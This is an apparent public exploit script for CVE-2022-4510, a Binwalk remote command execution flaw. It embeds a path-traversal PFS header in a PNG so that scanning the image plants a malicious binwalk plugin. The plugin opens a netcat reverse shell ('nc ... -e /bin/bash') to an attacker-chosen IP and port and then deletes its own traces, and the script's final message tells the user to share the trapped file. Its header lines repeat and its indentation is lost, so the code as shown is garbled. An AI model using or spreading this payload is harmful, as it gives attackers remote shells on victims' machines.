# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
# Exploit Author: Etienne Lacoche
# CVE-ID: CVE-2022-4510
import os
import inspect
import argparse

# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
# Exploit Author: Etienne Lacoche
# CVE-ID: CVE-2022-4510
import os
import inspect
import argparse

print("")
print("################################################")
print("------------------CVE-2022-4510----------------")
print("################################################")
print("--------Binwalk Remote Command Execution--------")
print("------Binwalk 2.1.2b through 2.3.2 included-----")
print("------------------------------------------------")
print("################################################")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("------------------Discovered by:----------------")
print("---------Q. Kaiser, ONEKEY Research Lab---------")
print("---------Exploit tested on debian 11------------")
print("################################################")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input .png file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()

if args.file and args.ip and args.port:
header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
lines = ['import binwalk.core.plugin ','import os ', 'import shutil ','class MaliciousExtractor(binwalk.core.plugin.Plugin): ',' def init(self): ',' if not os.path.exists("/tmp/.binwalk"): ',' os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &") ',' with open("/tmp/.binwalk", "w") as f: ',' f.write("1") ',' else: ',' os.remove("/tmp/.binwalk") ', ' os.remove(os.path.abspath(__file__)) ',' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__")) ']

in_file = open(args.file, "rb")
data = in_file.read()
in_file.close()

with open("/tmp/plugin", "w") as f:
for line in lines:
f.write(line)

with open("/tmp/plugin", "rb") as f:
content = f.read()

os.system("rm /tmp/plugin")

with open("binwalk_exploit.png", "wb") as f:
f.write(data)
f.write(header_pfs)
f.write(content)

print("")
print("You can now rename and share binwalk_exploit and start your local netcat listener.")
print("")